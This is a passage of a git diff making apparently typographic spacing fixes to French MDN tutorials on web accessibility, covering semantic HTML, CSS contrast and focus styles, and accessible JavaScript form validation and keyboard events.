? -2. Les deux éléments `<input>` du formulaire de commentaire ont des étiquettes de texte visibles, mais ils ne sont pas associés sans ambiguïté à leurs étiquettes. Comment y parvenir? Notez que vous devrez également mettre à jour certaines règles CSS. +1. L'élément `<input>` dans le formulaire de recherche en haut pourrait être associé à une étiquette, mais nous ne souhaitons pas ajouter une étiquette de texte visible qui risquerait de gâcher la conception et qui n'est pas vraiment utile aux utilisateurs voyants. Comment ajouter une étiquette uniquement accessible aux lecteurs d’écran? ? +2. Les deux éléments `<input>` du formulaire de commentaire ont des étiquettes de texte visibles, mais ils ne sont pas associés sans ambiguïté à leurs étiquettes. Comment y parvenir? Notez que vous devrez également mettre à jour certaines règles CSS. ### Le contrôle afficher / masquer les commentaires @@ -92,7 +92,7 @@ Pouvez-vous énumérer deux autres idées d’amélioration qui rendraient le si ## Évaluation -Si vous suivez cette évaluation dans le cadre d'un cours organisé, vous devriez pouvoir donner votre travail à votre enseignant / mentor pour qu'il la corrige. Si vous vous auto-apprenez, vous pouvez obtenir le guide de notation assez facilement en le demandant sur la [discussion thread for this exercise](https://discourse.mozilla.org/t/accessibility-troubleshooting-assessment/24691), ou sur le canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Essayez d'abord l'exercice - il n'y a rien à gagner à tricher! +Si vous suivez cette évaluation dans le cadre d'un cours organisé, vous devriez pouvoir donner votre travail à votre enseignant / mentor pour qu'il la corrige. Si vous vous auto-apprenez, vous pouvez obtenir le guide de notation assez facilement en le demandant sur la [discussion thread for this exercise](https://discourse.mozilla.org/t/accessibility-troubleshooting-assessment/24691), ou sur le canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Essayez d'abord l'exercice - il n'y a rien à gagner à tricher! {{PreviousMenu("Learn/Accessibility/Mobile", "Learn/Accessibility")}} diff --git a/files/fr/learn/accessibility/css_and_javascript/index.md b/files/fr/learn/accessibility/css_and_javascript/index.md index 3743469254..4e7fa0384e 100644 --- a/files/fr/learn/accessibility/css_and_javascript/index.md +++ b/files/fr/learn/accessibility/css_and_javascript/index.md @@ -52,15 +52,15 @@ Commençons par regarder le CSS. ### Sémantique correcte et attentes de l'utilisateur -Il est possible d’utiliser CSS pour détourner l'apparence d'un élément HTML pour qu'il ressemble à un autre, mais cela ne veut pas dire que vous devriez le faire. Comme nous l’avons souvent mentionné dans notre article [HTML : une bonne base pour l'accessibilité](/fr/docs/Apprendre/a11y/HTML), vous devez utiliser, dans la mesure du possible, l’élément sémantique approprié. Sinon, cela peut créer de la confusion et des difficultés d'usage pour tout le monde, plus particulièrement pour les utilisateurs handicapés. L'utilisation de la sémantique correcte a beaucoup à voir avec les attentes des utilisateurs — les éléments ont une apparence et un comportement particuliers, en fonction de leurs fonctionnalités, et ces conventions communes sont attendues par les utilisateurs. +Il est possible d’utiliser CSS pour détourner l'apparence d'un élément HTML pour qu'il ressemble à un autre, mais cela ne veut pas dire que vous devriez le faire. Comme nous l’avons souvent mentionné dans notre article [HTML : une bonne base pour l'accessibilité](/fr/docs/Apprendre/a11y/HTML), vous devez utiliser, dans la mesure du possible, l’élément sémantique approprié. Sinon, cela peut créer de la confusion et des difficultés d'usage pour tout le monde, plus particulièrement pour les utilisateurs handicapés. L'utilisation de la sémantique correcte a beaucoup à voir avec les attentes des utilisateurs — les éléments ont une apparence et un comportement particuliers, en fonction de leurs fonctionnalités, et ces conventions communes sont attendues par les utilisateurs. Par exemple, un utilisateur de lecteur d'écran ne peut pas naviguer dans une page via des éléments d'en-tête si le développeur n'a pas utilisé les éléments d'en-tête de manière appropriée pour annoter le contenu. De la même manière, un en-tête perd son utilité visuelle si vous le stylisez de sorte qu'il ne ressemble pas à un en-tête. -La règle de base est la suivante : adaptez les styles et les comportements à votre conception sans rompre les habitudes utilisateur qui permettent une expérience intuitive. Les sections suivantes résument les principales fonctionnalités HTML à prendre en compte. +La règle de base est la suivante : adaptez les styles et les comportements à votre conception sans rompre les habitudes utilisateur qui permettent une expérience intuitive. Les sections suivantes résument les principales fonctionnalités HTML à prendre en compte. #### Structure du contenu du texte "standard" -Titres, paragraphes, listes — le contenu de texte de base de votre page : +Titres, paragraphes, listes — le contenu de texte de base de votre page : ```html <h1>En-têtes</h1> @@ -89,15 +89,15 @@ p, li { Vous devriez : - Sélectionnez une taille de police, une hauteur de ligne, un espacement interlettres, etc. raisonnables pour que votre texte soit logique, lisible et agréable à lire. -- Le style par défaut pour les titres, dans une taille plus grande et en gras les distingue du texte principal. +- Le style par défaut pour les titres, dans une taille plus grande et en gras les distingue du texte principal. - Vos listes devraient ressembler à des listes. -- La couleur du texte doit présenter un contraste suffisant avec la couleur de fond. +- La couleur du texte doit présenter un contraste suffisant avec la couleur de fond. Voir [Fondamentaux du texte HTML](/fr/docs/Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals) et [Introduction au style de texte](/fr/docs/Learn/CSS/Styling_text) pour plus d'informations. #### Texte mis en emphase -On met en avant une portion de texte grâce au balises *inline* `<em>` : +On met en avant une portion de texte grâce au balises *inline* `<em>` : ```html <p> L'eau est <em> très chaude </em>.</p> @@ -117,13 +117,13 @@ Cependant, vous aurez rarement besoin de styliser des éléments d’emphase de #### Les abréviations -Un élément permettant d'associer une abréviation, un acronyme ou un sigle à sa forme développée : +Un élément permettant d'associer une abréviation, un acronyme ou un sigle à sa forme développée : ```html <p> Le contenu web est marqué à l'aide de <abbr title="Hypertext Markup Language">HTML</abbr>.</p> ``` -Encore une fois, vous voudrez peut-être appliquer une mise en forme simple sur ces éléments : +Encore une fois, vous voudrez peut-être appliquer une mise en forme simple sur ces éléments : ```css abbr { @@ -131,11 +131,11 @@ abbr { } ``` -Par convention, on souligne en pointillés les abréviations et il n’est pas judicieux de s’écarter significativement cette règle reconnue. Pour plus d'informations sur les abréviations, voir [Abréviations](/fr/docs/Apprendre/HTML/Introduction_à_HTML/formatage-avance-texte#Abbreviations). +Par convention, on souligne en pointillés les abréviations et il n’est pas judicieux de s’écarter significativement cette règle reconnue. Pour plus d'informations sur les abréviations, voir [Abréviations](/fr/docs/Apprendre/HTML/Introduction_à_HTML/formatage-avance-texte#Abbreviations). #### Liens -Hyperliens la façon dont vous accédez à de nouveaux endroits sur le Web : +Hyperliens la façon dont vous accédez à de nouveaux endroits sur le Web : ```html <p> Visiter la <a href="https://www.mozilla.org"> Page d'accueil de Mozilla </a>.</p> @@ -165,7 +165,7 @@ Les conventions de style sur les liens sont le soulignement et une couleur diff  -Vous pouvez faire preuve de créativité avec les styles de lien, tant que vous continuez à donner aux utilisateurs des informations visuelles en retour lorsqu'ils interagissent avec les liens. Quelque chose doit effectivement se produire pour signaler les changements d'états d'un lien, et vous ne devriez pas vous débarrasser du curseur de pointeur ou du contour — ces deux outils sont des aides très importantes pour l'accessibilité pour ceux qui utilisent les contrôles du clavier. +Vous pouvez faire preuve de créativité avec les styles de lien, tant que vous continuez à donner aux utilisateurs des informations visuelles en retour lorsqu'ils interagissent avec les liens. Quelque chose doit effectivement se produire pour signaler les changements d'états d'un lien, et vous ne devriez pas vous débarrasser du curseur de pointeur ou du contour — ces deux outils sont des aides très importantes pour l'accessibilité pour ceux qui utilisent les contrôles du clavier. #### Éléments form @@ -180,23 +180,23 @@ Vous pouvez faire preuve de créativité avec les styles de lien, tant que vous Vous pouvez voir de bons exemples de CSS dans notre exemple [form-css.html](https://github.com/mdn/learning-area/blob/master/accessibility/css/form-css.html) et ([en direct](https://mdn.github.io/learning-area/accessibility/css/form-css.html)). -La plupart du CSS que vous rédigerez pour les formulaires servira à dimensionner les éléments, à aligner les étiquettes et les entrées, et à leur donner une apparence nette et ordonnée. +La plupart du CSS que vous rédigerez pour les formulaires servira à dimensionner les éléments, à aligner les étiquettes et les entrées, et à leur donner une apparence nette et ordonnée. -Toutefois, vous ne devriez pas trop vous écarter des indications visuelles classiques qui signalent qu'un élément du formulaire est ciblé, c'est fondamentalement la même chose que pour les liens (voir ci-dessus). Vous pouvez mettre en forme les états ciblé / survolé du formulaire pour rendre ce comportement plus cohérent sur les navigateurs ou pour obtenir une meilleure intégration au design de votre page, mais ne vous en débarrassez pas complètement. Là encore, les utilisateurs s’appuient sur ces indices pour comprendre ce qui se passe. +Toutefois, vous ne devriez pas trop vous écarter des indications visuelles classiques qui signalent qu'un élément du formulaire est ciblé, c'est fondamentalement la même chose que pour les liens (voir ci-dessus). Vous pouvez mettre en forme les états ciblé / survolé du formulaire pour rendre ce comportement plus cohérent sur les navigateurs ou pour obtenir une meilleure intégration au design de votre page, mais ne vous en débarrassez pas complètement. Là encore, les utilisateurs s’appuient sur ces indices pour comprendre ce qui se passe. #### Tableaux Tableaux pour la présentation des données tabulées. -Vous pouvez voir un bon exemple simple de [table-css.html](https://github.com/mdn/learning-area/blob/master/accessibility/css/table-css.html) et ([en direct](https://mdn.github.io/learning-area/accessibility/css/table-css.html)). +Vous pouvez voir un bon exemple simple de [table-css.html](https://github.com/mdn/learning-area/blob/master/accessibility/css/table-css.html) et ([en direct](https://mdn.github.io/learning-area/accessibility/css/table-css.html)). -En appliquant les propriétés du module CSS des tableaux, vous pourrez adapter les tables HTML à votre design avec une apparence pas trop affreuse. Il est judicieux de vous assurer que les en-têtes de table se démarquent (normalement en gras), et de zébrer les lignes via le pseudo-sélecteur `:nth-child(n)` pour faciliter la lecture. +En appliquant les propriétés du module CSS des tableaux, vous pourrez adapter les tables HTML à votre design avec une apparence pas trop affreuse. Il est judicieux de vous assurer que les en-têtes de table se démarquent (normalement en gras), et de zébrer les lignes via le pseudo-sélecteur `:nth-child(n)` pour faciliter la lecture. ### Couleur et contraste de couleur Lorsque vous choisissez un jeu de couleurs pour votre site web, assurez-vous que la couleur du texte contraste bien avec la couleur de fond. Votre design peut sembler agréable, mais cela n’est pas bon si les personnes malvoyantes, par exemple atteintes de daltonisme, ne peuvent pas lire votre contenu. -Il existe un moyen simple de vérifier si votre contraste est suffisamment important pour ne pas causer de problèmes. Il existe un certain nombre d’outils de vérification du contraste en ligne dans lesquels vous pouvez entrer vos couleurs de premier plan et d’arrière-plan afin de les vérifier. Par exemple, le [vérificateur de contraste de couleur](https://webaim.org/resources/contrastchecker/) du WebAIM est simple à utiliser et explique ce dont vous avez besoin pour vous conformer aux critères WCAG relatifs au contraste des couleurs. +Il existe un moyen simple de vérifier si votre contraste est suffisamment important pour ne pas causer de problèmes. Il existe un certain nombre d’outils de vérification du contraste en ligne dans lesquels vous pouvez entrer vos couleurs de premier plan et d’arrière-plan afin de les vérifier. Par exemple, le [vérificateur de contraste de couleur](https://webaim.org/resources/contrastchecker/) du WebAIM est simple à utiliser et explique ce dont vous avez besoin pour vous conformer aux critères WCAG relatifs au contraste des couleurs. > **Note :** Un taux de contraste élevé permettra également à toute personne utilisant un smartphone ou une tablette avec un écran brillant de mieux lire les pages dans un environnement lumineux, tel qu'exposé à la lumière du soleil. @@ -204,7 +204,7 @@ Un autre conseil est de ne pas compter uniquement sur la couleur pour les pannea ### Cacher des choses -Dans de nombreux cas, une conception visuelle nécessitera de ne pas afficher tout le contenu en même temps. Par exemple, dans notre [Exemple de boîte d'information à onglets](https://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html) (voir notre [code source](https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html)), nous avons trois panneaux d’informations, mais nous les [positionnons](/fr/docs/Apprendre/CSS/CSS_layout/Le_positionnement) les uns sur les autres et fournissons des onglets sur lesquels on peut cliquer pour les afficher à tour de rôle (c’est aussi accessible au clavier – vous pouvez également utiliser <kbd>Tab</kbd> et <kbd>Entrée</kbd> pour les sélectionner). +Dans de nombreux cas, une conception visuelle nécessitera de ne pas afficher tout le contenu en même temps. Par exemple, dans notre [Exemple de boîte d'information à onglets](https://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html) (voir notre [code source](https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html)), nous avons trois panneaux d’informations, mais nous les [positionnons](/fr/docs/Apprendre/CSS/CSS_layout/Le_positionnement) les uns sur les autres et fournissons des onglets sur lesquels on peut cliquer pour les afficher à tour de rôle (c’est aussi accessible au clavier – vous pouvez également utiliser <kbd>Tab</kbd> et <kbd>Entrée</kbd> pour les sélectionner).  @@ -216,11 +216,11 @@ Par contre, vous ne devriez pas utiliser {{cssxref("visibility")}}`:hidden` ou { ### Accepter que les utilisateurs puissent remplacer les styles -#### Acceptez que les utilisateurs puissent remplacer vos styles +#### Acceptez que les utilisateurs puissent remplacer vos styles Il est possible pour les utilisateurs de remplacer vos styles par leurs propres styles personnalisés, par exemple : -- Voir [Éditeur de Style](/fr/docs/Outils/Éditeur_de_style) pour un guide utile expliquant comment le faire manuellement dans Firefox, et [Comment utiliser une feuille de style (css) personnalisée avec Internet Explorer](https://www.itsupportguides.com/knowledge-base/computer-accessibility/how-to-use-a-custom-style-sheet-css-with-internet-explorer/) par Adrian Gordon pour les instructions IE équivalentes (EN). +- Voir [Éditeur de Style](/fr/docs/Outils/Éditeur_de_style) pour un guide utile expliquant comment le faire manuellement dans Firefox, et [Comment utiliser une feuille de style (css) personnalisée avec Internet Explorer](https://www.itsupportguides.com/knowledge-base/computer-accessibility/how-to-use-a-custom-style-sheet-css-with-internet-explorer/) par Adrian Gordon pour les instructions IE équivalentes (EN). - Il est probablement plus facile de le faire en utilisant une extension, par exemple l’extension Stylus est disponible pour [Firefox](https://addons.mozilla.org/en-US/firefox/addon/stylish/), [Safari](https://safari-extensions.apple.com/details/?id=com.sobolev.stylish-5555L95H45), [Opera](https://addons.opera.com/en/extensions/details/stylish/), et [Chrome](https://chrome.google.com/webstore/detail/stylish/fjnbnpbmkenffdnngjfgmeleoegfcffe). Les utilisateurs peuvent le faire pour diverses raisons. Un utilisateur malvoyant peut vouloir agrandir le texte de tous les sites Web qu’il visite, ou un utilisateur présentant un déficit de couleur grave peut vouloir afficher tous les sites Web dans des couleurs très contrastées, faciles à lire. Quel que soit le besoin, vous devriez être à l'aise avec cela et rendre vos conceptions suffisamment flexibles pour que de tels changements fonctionnent dans votre conception. Par exemple, vous voudrez peut-être vous assurer que votre zone de contenu principale peut gérer un texte plus volumineux (le défilement commencera peut-être pour permettre à tout le monde de le voir), et ne le cachera pas ou ne sera pas complètement interrompu. @@ -248,27 +248,27 @@ En plus d'utiliser le bon élément pour le bon travail, vous devez également v ### Le garder discret -Lors de la création de votre contenu, gardez à l'esprit l'idée d'un **JavaScript discret, en retrait**. JavaScript est discret quand il est utilisé pour améliorer des fonctionnalités, il devient gênant quand ces mêmes fonctionnalités sont développées entièrement en JavaScript. Les fonctions de base de votre page devraient idéalement tourner sans JavaScript, même s’il est évident que ce n’est pas toujours possible. La règle est d'utiliser lorsque cela est possible les fonctionnalités intégrées au navigateur. +Lors de la création de votre contenu, gardez à l'esprit l'idée d'un **JavaScript discret, en retrait**. JavaScript est discret quand il est utilisé pour améliorer des fonctionnalités, il devient gênant quand ces mêmes fonctionnalités sont développées entièrement en JavaScript. Les fonctions de base de votre page devraient idéalement tourner sans JavaScript, même s’il est évident que ce n’est pas toujours possible. La règle est d'utiliser lorsque cela est possible les fonctionnalités intégrées au navigateur. De bons exemples d'utilisation de JavaScript discret incluent : - Fournir une validation de formulaire côté client, qui alerte les utilisateurs en cas de problèmes liés aux entrées de formulaire, sans avoir à attendre que le serveur vérifie les données. S'il n'est pas disponible, le formulaire fonctionnera toujours, mais la validation risque d'être plus lente. -- Fournir des commandes personnalisées pour les `<video>` HTML5 accessibles aux utilisateurs uniquement au clavier, ainsi qu'un lien direct vers la vidéo pouvant être utilisé pour y accéder si JavaScript n'est pas disponible (les commandes du navigateur `<video>` par défaut ne sont pas des touches accessibles dans la plupart des navigateurs). +- Fournir des commandes personnalisées pour les `<video>` HTML5 accessibles aux utilisateurs uniquement au clavier, ainsi qu'un lien direct vers la vidéo pouvant être utilisé pour y accéder si JavaScript n'est pas disponible (les commandes du navigateur `<video>` par défaut ne sont pas des touches accessibles dans la plupart des navigateurs). Par exemple, nous avons écrit un exemple de validation de formulaire côté client rapide — voir [form-validation.html](https://github.com/mdn/learning-area/blob/master/accessibility/css/form-validation.html) (voir aussi la [démonstration en direct](https://mdn.github.io/learning-area/accessibility/css/form-validation.html)). Ici, vous verrez un formulaire simple. Lorsque vous essayez de soumettre le formulaire avec un ou les deux champs vides, l'envoi échoue et un message d'erreur s'affiche pour vous indiquer ce qui ne va pas. -Ce type de validation de formulaire est discret — vous pouvez toujours utiliser le formulaire parfaitement sans que le JavaScript soit disponible, et toute implémentation de formulaire sensée aura également une validation côté serveur, car il est trop facile pour les utilisateurs malveillants de contourner la validation côté client (en désactivant JavaScript dans le navigateur, par exemple). La validation côté client est toujours très utile pour signaler les erreurs — les utilisateurs peuvent savoir instantanément quelles erreurs ils commettent, au lieu d'attendre un aller-retour vers le serveur et un rechargement de page. C'est un avantage certain en termes de convivialité. +Ce type de validation de formulaire est discret — vous pouvez toujours utiliser le formulaire parfaitement sans que le JavaScript soit disponible, et toute implémentation de formulaire sensée aura également une validation côté serveur, car il est trop facile pour les utilisateurs malveillants de contourner la validation côté client (en désactivant JavaScript dans le navigateur, par exemple). La validation côté client est toujours très utile pour signaler les erreurs — les utilisateurs peuvent savoir instantanément quelles erreurs ils commettent, au lieu d'attendre un aller-retour vers le serveur et un rechargement de page. C'est un avantage certain en termes de convivialité. > **Note :** La validation côté serveur n'a pas été implémentée dans cette simple démonstration. -Nous avons également rendu cette validation de formulaire assez accessible. Nous avons utilisé des éléments {{htmlelement("label")}} pour nous assurer que les libellés des formulaires sont liés de manière non équivoque à leurs entrées, afin que les lecteurs d'écran puissent les lire au fur et à mesure : +Nous avons également rendu cette validation de formulaire assez accessible. Nous avons utilisé des éléments {{htmlelement("label")}} pour nous assurer que les libellés des formulaires sont liés de manière non équivoque à leurs entrées, afin que les lecteurs d'écran puissent les lire au fur et à mesure : ```html <label for="name"> Entrez votre nom :</label> <input type="text" name="name" id="name"> ``` -Nous ne faisons la validation qu'une fois le formulaire soumis — ceci afin de ne pas mettre à jour l'interface utilisateur trop souvent et de ne pas perturber les utilisateurs du lecteur d'écran (et éventuellement d'autres) : +Nous ne faisons la validation qu'une fois le formulaire soumis — ceci afin de ne pas mettre à jour l'interface utilisateur trop souvent et de ne pas perturber les utilisateurs du lecteur d'écran (et éventuellement d'autres) : ```js form.onsubmit = validate; @@ -291,9 +291,9 @@ function validate(e) { > **Note :** Dans cet exemple, nous masquons et montrons la boîte de message d'erreur en utilisant le positionnement absolu plutôt qu'une autre méthode telle que la visibilité ou l'affichage, car cela n'empêche pas le lecteur d'écran de pouvoir lire le contenu de celui-ci. -La validation du formulaire réel serait beaucoup plus complexe que cela : vous voudriez vérifier que le nom saisi ressemble réellement à un nom, que l’âge entré est en réalité un nombre et qu’il est réaliste (par exemple, pas un nombre négatif, ni à quatre chiffres). Ici, nous venons d'implémenter la vérification simple qu'une valeur a été renseignée dans chaque champ de saisie (`if(testItem.input.value === '')`). +La validation du formulaire réel serait beaucoup plus complexe que cela : vous voudriez vérifier que le nom saisi ressemble réellement à un nom, que l’âge entré est en réalité un nombre et qu’il est réaliste (par exemple, pas un nombre négatif, ni à quatre chiffres). Ici, nous venons d'implémenter la vérification simple qu'une valeur a été renseignée dans chaque champ de saisie (`if(testItem.input.value === '')`). -Une fois la validation effectuée, si les tests réussissent, le formulaire est soumis. S'il y a des erreurs (`if(errorList.innerHTML !== '')`) nous arrêtons la soumission du formulaire ( à l'aide de [event.preventDefault()](/fr/docs/Web/API/Event/preventDefault)), et affichons tous les messages d'erreur créés (voir ci-dessous). Ce mécanisme signifie que les erreurs ne seront affichées que s’il y a des erreurs, ce qui est meilleur pour la facilité d’utilisation. +Une fois la validation effectuée, si les tests réussissent, le formulaire est soumis. S'il y a des erreurs (`if(errorList.innerHTML !== '')`) nous arrêtons la soumission du formulaire ( à l'aide de [event.preventDefault()](/fr/docs/Web/API/Event/preventDefault)), et affichons tous les messages d'erreur créés (voir ci-dessous). Ce mécanisme signifie que les erreurs ne seront affichées que s’il y a des erreurs, ce qui est meilleur pour la facilité d’utilisation. Pour chaque entrée pour laquelle aucune valeur n'a été renseignée lors de la soumission du formulaire, nous créons un élément de liste avec un lien et l'insérons dans la liste `errorList`. @@ -304,14 +304,14 @@ function createLink(testItem) { anchor.textContent = testItem.input.name + ' field is empty: fill in your ' + testItem.input.name + '.'; anchor.href = '#' + testItem.input.name; anchor.onclick = function() { - testItem.input.focus(); + testItem.input.focus(); }; listItem.appendChild(anchor); errorList.appendChild(listItem); } ``` -Chaque lien a un double objectif — il vous dit quelle est l’erreur, vous pouvez aussi cliquer dessus / l’activer pour passer directement à l’élément d’entrée en question et corriger votre saisie. +Chaque lien a un double objectif — il vous dit quelle est l’erreur, vous pouvez aussi cliquer dessus / l’activer pour passer directement à l’élément d’entrée en question et corriger votre saisie. > **Note :** La partie `focus()` de cet exemple est un peu délicate. Chrome et Edge (et les versions plus récentes d'IE) focalisent l'élément lorsque l'utilisateur clique sur le lien, sans avoir besoin du bloc `onclick`/`focus()`. Safari ne mettra en évidence que l'élément de formulaire avec le lien, il a donc besoin du bloc `onclick`/`focus()` pour le focaliser. Firefox ne focalise pas les entrées correctement dans ce contexte, les utilisateurs de Firefox ne peuvent donc pas en profiter pour le moment (bien que tout le reste fonctionne bien). Le problème de Firefox devrait bientôt être résolu - des efforts sont en cours pour donner la parité des comportements de Firefox aux autres navigateurs (voir {{bug(277178)}}). @@ -328,11 +328,11 @@ Nous expliquerons ces attributs dans notre prochain article, qui couvre [WAI-ARI > **Note :** Certains d'entre vous penseront probablement au fait que les formulaires HTML5 ont des mécanismes de validation intégrés tels que les attributs `required`, `min`/`minlength`, et `max`/`maxlength` (voir {{htmlelement("input")}} référence d'élément pour plus d'informations). Nous avons fini par ne pas les utiliser dans la démo, car la prise en charge multi-navigateurs est inégale (par exemple, IE10 et versions ultérieures, pas de prise en charge de Safari). -> **Note :** WebAIM's [Validation de formulaire et récupération d'erreur utilisables et accessibles (EN)](https://webaim.org/techniques/formvalidation/) fournit des informations supplémentaires utiles sur la validation de formulaire accessible. +> **Note :** WebAIM's [Validation de formulaire et récupération d'erreur utilisables et accessibles (EN)](https://webaim.org/techniques/formvalidation/) fournit des informations supplémentaires utiles sur la validation de formulaire accessible. ### Autres problèmes d'accessibilité JavaScript -Il y a d'autres choses à prendre en compte quand on met en œuvre des solutions JavaScript tout en réflechissant à l'accessibilité. Voilà déjà une liste de points à surveiller, que nous complèterons à chaque fois qu'un nouveau cas se présente. +Il y a d'autres choses à prendre en compte quand on met en œuvre des solutions JavaScript tout en réflechissant à l'accessibilité. Voilà déjà une liste de points à surveiller, que nous complèterons à chaque fois qu'un nouveau cas se présente. #### Événements spécifiques à la souris @@ -340,9 +340,9 @@ Comme vous le savez peut-être, la plupart des interactions utilisateur sont imp Pour résoudre de tels problèmes, vous devez doubler ces événements avec des événements similaires pouvant être activés par d'autres moyens (appelés gestionnaires d'événements indépendants du périphérique) —[focus](/fr/docs/Web/Events/focus) et [blur (event)](/fr/docs/Web/Events/blur) fourniraient une accessibilité aux utilisateurs de clavier. -Regardons un exemple qui illustre cela. Considérons une image miniature ; quand elle est survolée ou ciblée (comme sur un catalogue de produits de commerce électronique) une version plus grande de l’image s'affiche. +Regardons un exemple qui illustre cela. Considérons une image miniature ; quand elle est survolée ou ciblée (comme sur un catalogue de produits de commerce électronique) une version plus grande de l’image s'affiche. -Nous avons créé un exemple très simple, que vous pouvez trouver sur [Exemple d'événements de souris et de clavier](https://mdn.github.io/learning-area/accessibility/css/mouse-and-keyboard-events.html) (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/accessibility/css/mouse-and-keyboard-events.html)). Le code comporte deux fonctions qui affichent et cachent l'image agrandie ; ceux-ci sont gérés par les lignes suivantes qui les définissent en tant que gestionnaires d'événements : +Nous avons créé un exemple très simple, que vous pouvez trouver sur [Exemple d'événements de souris et de clavier](https://mdn.github.io/learning-area/accessibility/css/mouse-and-keyboard-events.html) (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/accessibility/css/mouse-and-keyboard-events.html)). Le code comporte deux fonctions qui affichent et cachent l'image agrandie ; ceux-ci sont gérés par les lignes suivantes qui les définissent en tant que gestionnaires d'événements : ```js imgThumb.onmouseover = showImg; @@ -352,9 +352,9 @@ imgThumb.onfocus = showImg; imgThumb.onblur = hideImg; ``` -Les deux premières lignes exécutent les fonctions lorsque le pointeur de la souris survole et cesse de survoler la vignette, respectivement. Cela ne nous permettra toutefois pas d'accéder à la vue agrandie à l'aide du clavier ; pour cela, nous avons inclus les deux dernières lignes, qui exécutent les fonctions lorsque l'image est nette et floue (lorsque la mise au point s'arrête). Cela peut être fait en tapant sur l'image, car nous avons inclus `tabindex="0"` dessus. +Les deux premières lignes exécutent les fonctions lorsque le pointeur de la souris survole et cesse de survoler la vignette, respectivement. Cela ne nous permettra toutefois pas d'accéder à la vue agrandie à l'aide du clavier ; pour cela, nous avons inclus les deux dernières lignes, qui exécutent les fonctions lorsque l'image est nette et floue (lorsque la mise au point s'arrête). Cela peut être fait en tapant sur l'image, car nous avons inclus `tabindex="0"` dessus. -L'événement [click](/fr/docs/Web/API/Element/click_event) est intéressant — cela semble dépendre de la souris, mais la plupart des navigateurs activent les gestionnaires d'événement [element.onclick](/fr/docs/Web/API/GlobalEventHandlers/onclick) après avoir pressé <kbd>Entrée</kbd> sur un lien ou un élément de formulaire ciblé, ou lorsqu'un tel élément est touché sur un écran tactile. Cependant, cela ne fonctionne pas par défaut lorsque vous autorisez un événement à ne pas être mis au point par défaut à l'aide de tabindex. Dans ce cas, vous devez détecter précisément le moment exact où cette touche est enfoncée (voir [Remettre l'accessibilité au clavier](/fr/docs/Apprendre/a11y/HTML#Building_keyboard_accessibility_back_in)). +L'événement [click](/fr/docs/Web/API/Element/click_event) est intéressant — cela semble dépendre de la souris, mais la plupart des navigateurs activent les gestionnaires d'événement [element.onclick](/fr/docs/Web/API/GlobalEventHandlers/onclick) après avoir pressé <kbd>Entrée</kbd> sur un lien ou un élément de formulaire ciblé, ou lorsqu'un tel élément est touché sur un écran tactile. Cependant, cela ne fonctionne pas par défaut lorsque vous autorisez un événement à ne pas être mis au point par défaut à l'aide de tabindex. Dans ce cas, vous devez détecter précisément le moment exact où cette touche est enfoncée (voir [Remettre l'accessibilité au clavier](/fr/docs/Apprendre/a11y/HTML#Building_keyboard_accessibility_back_in)). ## Résumé diff --git a/files/fr/learn/accessibility/html/index.md b/files/fr/learn/accessibility/html/index.md index 80bab3a496..561f0e9043 100644 --- a/files/fr/learn/accessibility/html/index.md +++ b/files/fr/learn/accessibility/html/index.md @@ -26,7 +26,7 @@ Une grande partie des contenus web peut être rendue accessible simplement en s' <td> Compétences informatiques de base, compréhension basique de HTML (voir<a href="/fr/Apprendre/HTML/Introduction_à_HTML" - > </a + > </a ><a href="/fr/docs/Learn/HTML/Introduction_to_HTML">I</a ><a href="/fr/Apprendre/HTML/Introduction_à_HTML">ntroduction à HTML</a >), et compréhension de @@ -46,9 +46,9 @@ Une grande partie des contenus web peut être rendue accessible simplement en s' </tbody> </table> -## HTML et accessibilité +## HTML et accessibilité -Plus vous apprenez le HTML — plus vous lisez de ressources, regardez d'exemples — plus vous recontrerez un thème récurrent : l'importance d'utiliser du HTML sémantique, parfois appelé POSH (Plain Old Semantic HTML). C'est l'usage des éléments HTML appropriés autant que possible. +Plus vous apprenez le HTML — plus vous lisez de ressources, regardez d'exemples — plus vous recontrerez un thème récurrent : l'importance d'utiliser du HTML sémantique, parfois appelé POSH (Plain Old Semantic HTML). C'est l'usage des éléments HTML appropriés autant que possible. Vous pouvez vous demander pourquoi c'est si important. Après tout, vous pouvez utiliser une combinaison de CSS et de JavaScript pour faire fonctionner n'importe quel élément HTML de la manière que vous souhaitez. Par exemple, un bouton de lecture pour une vidéo sur votre site pourrait être codé ainsi : @@ -62,13 +62,13 @@ Mais comme vous le verrez en détail plus loin, il est beaucoup plus sensé d'ut <button>Lire la vidéo</button> ``` -Non seulement `<button>` possède des styles adéquats par défaut (que vous voudrez probablement surcharger), il intègre aussi l'accès au clavier — on peut tabuler dessus, et l'activer avec la touche entrée. +Non seulement `<button>` possède des styles adéquats par défaut (que vous voudrez probablement surcharger), il intègre aussi l'accès au clavier — on peut tabuler dessus, et l'activer avec la touche entrée. Le HTML sémantique ne demande pas plus de temps à écrire que du (mauvais) balisage non-sémantique si vous le faites de manière constante dès le début de votre projet, et il a également des bénéfices au delà de l'accessibilité : -1. **Facilite les développements** — comme mentionné ci-dessus, certaines fonctionnalités sont gratuites, et c'est indiscutablement plus compréhensible. -2. **Meilleur pour le mobile** — le HTML sémantique est indiscutablement plus léger en la taille du fichier que le code spaghetti non sémantique, et plus aisé à rendre responsive. -3. **Bon pour le SEO** — les moteurs de recherche donnent plus d'importance aux mots clés contenus dans les titres, liens, etc. que des mots-clés contenus dans des `<div>` non sémantiques, et donc vos documents seront plus facilement trouvés par vos clients. +1. **Facilite les développements** — comme mentionné ci-dessus, certaines fonctionnalités sont gratuites, et c'est indiscutablement plus compréhensible. +2. **Meilleur pour le mobile** — le HTML sémantique est indiscutablement plus léger en la taille du fichier que le code spaghetti non sémantique, et plus aisé à rendre responsive. +3. **Bon pour le SEO** — les moteurs de recherche donnent plus d'importance aux mots clés contenus dans les titres, liens, etc. que des mots-clés contenus dans des `<div>` non sémantiques, et donc vos documents seront plus facilement trouvés par vos clients. Continuons et jetons un œil au HTML accessible dans le détail. @@ -76,13 +76,13 @@ Continuons et jetons un œil au HTML accessible dans le détail. ## Une bonne sémantique 